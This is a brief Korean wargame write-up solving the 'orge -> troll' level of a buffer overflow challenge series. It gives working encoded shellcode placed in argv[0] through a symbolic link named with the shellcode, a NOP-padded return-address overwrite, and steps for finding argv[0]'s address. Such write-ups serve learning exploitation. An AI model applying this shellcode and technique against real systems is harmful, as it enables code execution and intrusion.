bof원정대 orge -> troll
해답 : ./`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xb7\xfb\xff\xbf"'`
argc != 2 로 인해서 그 동안 사용해왔던 argv[2]에 쉘코드를 넣는 방식이 막혔으며 argv[1]은 마지막 줄에서 memset으로 지워지기 때문에 사용불가능합니다. 이 때 사용하는 것이 바로 argv[0]에 쉘코드를 넣는 방식입니다.
문제를 푸는 방식
trolll 심볼릭 링크 생성법
ln -s troll `python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
1. troll.c 를 cp 명령어로 복사한 후 이 것을 이용해서 argv[0]의 주소를 알아냅니다. printf("%p\n",argv[0]);
이 때 이 troll.c를 이용해서 새로 만든 파일은 마찬가지로 쉘코드를 이름은 물론이고 뒤에 쓸 argv[1]에 해당하는 인자값도 모두 넣은 상태로 argv[0] 의 주소를 알아내야합니다.
왜냐하면 argv 값에 따라서 argv[0]의 길이가 변경되기 때문입니다.
2. 심볼릭 링크를 이용해서 쉘코드를 이름으로한 파일을 생성한다.(troll의 심볼릭 링크)
이 때 쉘코드에는 2f가 포함되어서는 안됩니다. 2f = / 이고 이 것이 오류를 일으킵니다.
3. 주소를 알아낸 후에 주소를 코드에 집어넣은 후 문제를 풀어냅니다.